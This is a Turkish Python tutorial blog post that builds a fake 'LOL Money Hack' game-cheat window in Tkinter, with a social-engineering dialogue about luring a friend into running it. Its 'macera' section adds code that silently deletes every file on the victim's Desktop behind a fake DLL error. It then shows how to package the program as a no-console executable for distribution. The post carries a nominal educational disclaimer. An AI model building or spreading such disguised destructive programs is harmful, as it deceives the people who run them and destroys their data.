Python
March 10, 2020

Python ile Sahte Arayüz Tasarlama

Merhabalar, Kekik | Siber'e Hoşgeldiniz..

Bu yazıda Python ile Tkinter kullanarak sahte arayüzler oluşturacak ve bu arayüzleri işleyeceğiz..

Not : Aşağıda bahsedilecek herşey eğitim için hazırlanmış olup, olası herhangi bir durumda sorumluluk alınmayacaktır.
Bu yazıyı istediğiniz platformda istediğiniz gibi kullanabilirsiniz.
Yeter ki bilgi yayalım , virüs değil :)
Not 2 : Birazdan okuyacaklarınız Orta düzey Python bilgisi gerektirmektedir .

Tkinter modülü;

♦ Windows'da Python3 ile default olarak yüklü gelir.
GNU[Linux] Sistemlerde Kurulumunu Yapmak için;
[sudo] apt install python3-tk | pacman -S tk komutlarını kullanabilirsiniz.

Peki ne işimize yarayacak bu arayüzler ?

Oluşturduğumuz arayüz'ü [sahte uygulama] daha sonra başka konularda bol bol kullanacağız. Ginede örnek vermek gerekirse:

- Yeni LOL hilesi çıkmış duydun mu ?
+ Hayır , uygulama mı path mi ? Ne hilesi ?
- Açınca lol ekranı çıkıyor biraz bekletiyor bilmem kaç oyun parası veriyor
+ Vaay , çok iyi . Nereden indireceğim ?
- Bekle link atıyorum
[]
+ Açtım evet , lol ekranı açıldı
+ Yükleniyor diyor
+ LOL dosyalarını arıyormuş
+ Hata verdi hmm
+ lolhack.exe can't find lol folder
+ Sanırım bilgisayarımda problem var
+ Neyse artık ..

Bu diyalog size tanıdık gelmiş olabilir . Uygulama açıldıktan sonra öyle bir kodlamamız gerekiyor ki kimseye birşey çaktırmasın .)


Tabiki bu konudaki bilgileri sadece "Pentests" alanında değil , Python projelerinizde de kullanabilirsiniz..


Ayrıca Python to exe'ye de değinerek, .py dosyamızı Python bağımlılığında kurtararak her Windows bilgisayarda çalışır hale getireceğiz
Aynı şekilde .elf [executable linux file] 'da oluşturacağız

GelGelelim Kodlarımıza

[Çalışma alanı : Manjaro , Dosya Adı : kekiksiber_arayuz.py ]

#KekikSiber | t.me/kekiksiber | Python ile Sahte Arayüz Oluşturuyoruz
import tkinter                  # arayüz için
import sys                      # dosya ismi|exit için
import time                     # sleep() için
import platform                 # cihaz bilgileri için
from tkinter import messagebox  # tkinter içerisinden messagebox'ı çektik . Böylece hata gösterebileceğiz 

Gereken tüm kütüphaneleri projemize dahil ettik .

Yukarıda LOL örneği verdiğim için arayüzümüzü lol temalı yapalım;

Tkinter modülünde uygulamamız içerisine resim eklememiz için, ekleyeceğimiz resmin o bilgisayarda bulunuyor olması şart.
Bu bağımlılıktan kurtulmak için uygulama açıldığı zaman bir png resim oluştuyrabiliriz. Lakin bu bizim inandırıcılığımızı bozacaktır.
Bunun önüne geçmek için png resmimizi base64 kodu halinde programıma ekleyeceğiz .
Internetten img to base64 web adreslerine erişebilirsiniz.
Ama el yapımı salata varken neden dışarıdan salata söyleyelim ki ?

[PNG to BASE64] # Atlayabilirsiniz

import base64
yol = input("Aynı klasordeki resim tam adını yada konum belirterek resmin tam adını giriniz : ")
try:                                                # herhangi bir hata verirse bu eleman ile çökmesini engelleyeceğiz
    with open(yol, "rb") as dosya:                  # Resmimizi read bytes şeklinde açmak zorundayız !
        dosya = base64.encodestring(dosya.read())   # png'imizi okuduk ve base64'e bunu encode etmesini söyledik
        with open(f"{yol}.txt", "wb") as yaz:       # base64 kodumuzu ($yol).txt'e yazacağız . | base64 kodumuz byte halinde !
            yaz.write(dosya)                        # base64 kodumuzu ($yol).txt'e yazdık
            input("Başarılı ile yazıldı !")         # Başarılı olup olmadığı belirtmesi için bir input() verdik
except Exception as hata:
    input("png to base64'e hata ile karşılaşıldı :\n"+hata)  ## Olur da bir hata ile karşılaşırsak ne olduğunu anlamamız gerekiyor

Herşey başarılı olduktan sonra programımızı açalım
ve base64'e döndürmesi gereken img'i belirtelim
($yol).txt'e göz atalım ve tebrikler

Homemade byte to base64'ünüz oldu :)

png görselimizi [Tkinter jpg kullanmanıza izin vermeyecektir] base64 koduna dönüştürdüğümüze göre kodlamaya devam;

[kekiksiber_arayuz.py]

app = tkinter.Tk()          # tkinter penceremizi açtık
image = tkinter.PhotoImage(data="""as4fydhedDh6Iy [dönüştürdüğümüz base64 kodu] qwesTtK35 ....""")
app.title("Lol Money Hack") # bu kısım gözükmeyecek lakin ginede title ekleyebiliriz

#app.wm_overrideredirect(True) # Bu kod ile kapat tuşunu ve küçült tuşunun olduğu kısmı komple kaldırıyoruz
#app.attributes("-alpha", 0.9) # Bu kod ile penceremize hafif şeffaflık katıyoruz

# Kodlama aşamasında bu ikisini deaktif etmeniz daha sağlıklı olacaktır

app.resizable(0,0) # Yeniden boyutlandırmayı kapattık

label = tkinter.Label(image=image,text=" ",compound="top",bg="black",fg="white",cursor="watch") 

# image ile label'ımızda resim olacağını belirttik
# text ile penceremizde yazı gösterceğiz . Ama bu'nun değerine neden " " verdik ?
    # Programın açıldıktan sonra biraz bekleyip ardından yazıları göstermesini istiyorum
    # Bunu yaparken pencerede hiç kıpraşma olmaması gerekiyor , bu sebepten " " değerini veriyorz

# compound = "top" ile yazımızı en alta çekiyoruz "center" ile ortalayabilirsiniz
# bg [background olarak da kullanılabilir] "black" değerini vererek arkaplanı tamamen siyah yapıyoruz . "#000" vererek de yapılabilir
# fg [forgorund olarak da kullanılabilir] "white" değerini verek text rengini beyaz yapıyoruz . "#fff" vererek de yapılabilir
# cursor değeri ile label'deki imleci belirliyoruz . "watch" ile yükleniyor imlecini kullanıyoruz

label.pack()    # label'imizi görünür yaptık

app.mainloop()  # penceremizi aktif ettik

Buraya kadar herşeyi eksiksiz yazdıysanız dosyamızı çalıştırdığımız zaman resmimiz ekrana gelmiş transparant ise arkasında siyahlığı görüyor olacaksınız..


Yanlız fark ettiyseniz penceremiz ekranın sağında solunda açıldı . Bunu ekranın tam ortasına almalıyız . Böyle uygulamamız profesyonelce gözükecek :)
Bunu yapmak için birtakım matemaktiksel işlemler gerekiyor . Hal böyle olunca bende internetten buldum kodları :)

[kekiksiber_arayuz app ortalama kodları]

windowWidth = app.winfo_reqwidth()     # penceremizin enlemini aldık
windowHeight = app.winfo_reqheight()   # penceremizin boylamını aldık
positionRight = int(app.winfo_screenwidth()/3 - windowWidth/2)  # Pencere konumumuzun enlemini
positionDown = int(app.winfo_screenheight()/3 - windowHeight/2) # Pencere konumumuzun boylamını değiştiriyor.
app.geometry(f"+{positionRight}+{positionDown}")                # Pencere konumumuz ayarlıyoruz

Bu kodları kekiksiber_arayuz.py'e ekleyince tam olarak böyle gözüküyor;

#KekikSiber | t.me/kekiksiber | Python ile Sahte Arayüz Oluşturuyoruz
import tkinter                  # arayüz için
import sys                      # dosya ismi|exit için
import time                     # sleep() için
import platform                 # cihaz bilgileri için
from tkinter import messagebox  # tkinter içerisinden messagebox'ı çektik . Böylece hata gösterebileceğiz 

app = tkinter.Tk()          # tkinter penceremizi açtık
image = tkinter.PhotoImage(data="""as4fydhedDh6Iy [dönüştürdüğümüz base64 kodu] qwesTtK35""")
app.title("Lol Money Hack")     # bu kısım gözükmeyecek lakin ginede title ekleyebiliriz
app.iconphoto(1,image)          # ikonumuzu aynı resim olarak belirledik
#app.wm_overrideredirect(True) # Bu kod ile kapat tuşunu ve küçült tuşunun olduğu kısmı komple kaldırıyoruz
#app.attributes("-alpha", 0.9) # Bu kod ile penceremize hafif şeffaflık katıyoruz
# Kodlama aşamasında bu ikisini deaktif etmeniz daha sağlıklı olacaktır


# Uygulamamızı ortalamamız için
windowWidth = app.winfo_reqwidth()     # penceremizin enlemini aldık
windowHeight = app.winfo_reqheight()   # penceremizin boylamını aldık
positionRight = int(app.winfo_screenwidth()/3 - windowWidth/2)  # Pencere konumumuzun enlemini
positionDown = int(app.winfo_screenheight()/3 - windowHeight/2) # Pencere konumumuzun boylamını değiştiriyor.
app.geometry(f"+{positionRight}+{positionDown}")                # Pencere konumumuz ayarlıyoruz

#NOT# positionRight ve positionDown 'da pencereyi ortalarken "3" rakamında değişiklik yapmanız gerekebilir 

app.resizable(0,0)  # Yeniden boyutlandırmayı kapattık
label = tkinter.Label(image=image,text=" ",compound="top",bg="black",fg="white",cursor="watch") 

# image ile label'ımızda resim olacağını belirttik
# text ile penceremizde yazı gösterceğiz . Ama bu'nun değerine neden " " verdik ?
    # Programın açıldıktan sonra biraz bekleyip ardından yazıları göstermesini istiyorum
    # Bunu yaparken pencerede hiç kıpraşma olmaması gerekiyor , bu sebepten " " değerini veriyorz

# compound = "top" ile yazımızı en alta çekiyoruz "center" ile ortalayabilirsiniz
# bg [background olarak da kullanılabilir] "black" değerini vererek arkaplanı tamamen siyah yapıyoruz . "#000" vererek de yapılabilir
# fg [forgorund olarak da kullanılabilir] "white" değerini verek text rengini beyaz yapıyoruz . "#fff" vererek de yapılabilir
# cursor değeri ile label'deki imleci belirliyoruz . "watch" ile yükleniyor imlecini kullanıyoruz

label.pack()    # label'imizi görünür yaptık

app.mainloop()  # penceremizi aktif ettik 

Yukarıdaki kodların bitmiş haline erişebileceğiniz , kullandığım png'nin base64 kodlarını web adresimden çekmenizi sağlayacağım linkleri makalenin sonunda paylaşacağım

Yukarıdaki kodları sizde denedikten sonra uygulamamızın sadece base64 formatındaki png'imizi gösterdiğini göreceksiniz .
Açıkcası bu pek inandırıcı olmaz . Haydi birkaç nitelik ekleyelim

[kekiksiber_arayuz nitelik]

app = tkinter.Tk()

app.resizable(0,0)  # Yeniden boyutlandırmayı kapattık
label = tkinter.Label(image=image,text=" ",compound="top",bg="black",fg="white",cursor="watch") # label'ı ayarladık
label.pack()        # label'imizi görünür yaptık
app.update()        # Tkinter'a tüm ayarları yaptığımızı söyledik.
                    # Böylece sleep verdiğimiz zaman ekrandaki herşeyi gösterip sonra bekleyecek.
                    # Aksi türlü ilk sleep()'i bekliyor ardından uygulamamızı açıyor .
time.sleep(3)       # Arkadaşımızı azıcık bekletelim değil mi :) +knk az bekle yüklenir şimdi
label.config(text="Searching LOL Files ..") # 3 saniye bekledikten sonra daha önce " " olarak verdiğimiz değere birkaç şeyler yazalım 
											# Yabancı dil kullanarak "+ adamlar yapmış bee" dedirtebilirsiniz .)
app.update()        # Tekrardan güncelleme vermek zorundayız
time.sleep(3)       # "Searching LOL Files .." :)
label["text"] = "Searching LOL Account" # label.config() yapmak yerine label[]'de kullanabilirsiniz .
app.update()        # Tekrardan güncelliyoruz
time.sleep(3)       # Yine 3 saniye bekletip hatamızı çakalım
messagebox.showerror("LOL Money Hack","Id1oT.dll not found !") # :) .dll bulunamadı adında bir hata çıkarttık

sys.exit()      # Hata ekranı geçildikten sonra tüm uygulamamızı kapattık

Şimdiye kadar ne yaptık;
♦ png'mizi base64 koduna getirdik böylece başka bilgisayarlarda png'yi oluşturmamıza gerek kalmadı
♦ Ekranımızı oluşturduk arka planı siyah yaptık ve 3 saniye bekleterek bir yazı atadık
birkaç yazı daha ekledik
♦ sonra messagebox.showerror() ile ekrana hata gösterip programı kapattık

Şimdiye Kadarki Güvenli Arayüzün Tamamı <<

Peki buna biraz daha macera eklesek ne olur ? :)

Aklımdaki macera hepinizin iştahını kabartacak türden lakin ByteData projem için saklıyorum :)

Yine de yakın arkadaşınızı çıldırtacak bir şey yazalım hadi;

[kekiksiber_arayuz macera]

def macera():
    import os
    
    konum = os.getcwd() # Şuanki konumu aldık | almasak da olurdu
    isim = os.getlogin() # Desktop'a geçmek için isim'i aldık
    os.chdir("C:\\Users\\"+isim+"\\Desktop") # os.chdir(os.getenv("desktop")) de kullanılabilir | Desktop konuma geçtik
    #
    for i in os.listdir(): # Desktop konumundaki tüm dosyaları listeledik
        try:
            os.remove(i) # Listelediğimiz tüm dosyaları sildik :)
        except:pass

app.update()
macera()       # tüm dosyaları silen hazinemizi aktif ettik
messagebox.showerror("Lol Money Hack","lollib.dll not found !") # en sonunda lollib.dll yok dedik :D

Haydi şimdiye kadarki tüm kodları yeniden paylaşalım .

Güvensiz Arayüz

Bu sefer bunu çalıştırken dikkat edin :)

Küçük zararsız arayüzümü yazdık . Şimdi bunu exe | elf yapalım .
Bunu sağlayabilmek için pip ile "pyinstaller" 'ı kurmanız gerekiyor :

windows :

pip install pyinstaller

Linux :

pip3 install pyinstaller

Mac :

pip3 install pyinstaller

pyinstaller'ı kurduktan sonra yapacağımız işlem pek basit dostlar . Terminal ile .py dosyamızın olduğu yere gidin :

Örnek: kekiksiber_arayuz.py C:\Users\raifpy\Desktop\kekik'in içinde olduğunu farz edelim;

cmd'yi açın ve : cd C:\Users\\raifpy\Desktop\kekik yazarak o konuma geçin .


[Python To EXE]

pyinstaller --onefile --noconsole kekiksiber_arayuz.py

pyinstaller --onefile --noconsole -i aynikonumdaki.ico kekiksiber_arayuz.py

Şeklinde exe elf yada mac executable file * olarak düzeltebilirsiniz :)

Bu işlemlerden sonra çalıştırılabilir dosyamız dist klasörünün içinde olacaktır

Zarasız olan hali için : kekiksiber_arayuz_guvenli.py
Zararlı olan hali için :) : kekiksiber_arayuz_guvensiz.py
kullandığım lol png'nin base64 kodları : lol.png.txt
png to base64 tool : PNGtoB64.py
web adresimden çekilen lol png ile çalışan zararsız hali : kekiksiber_arayuz_imginweb.py


*****
NOT : pyinstaller ile exe formatına çevrilen her program virustotal'de en az 8 anti virus tarafından "zaralı yazılım" olarak algılanır..
program zararlı olsun yada olmasın .
*****

Kaynakça : Kodlab YayınEvi | Projeler ile Python , stackoverflow.com , doctorguru.com , yazbel.com , istihza.net ...

Posted for KekikSiber by raifpy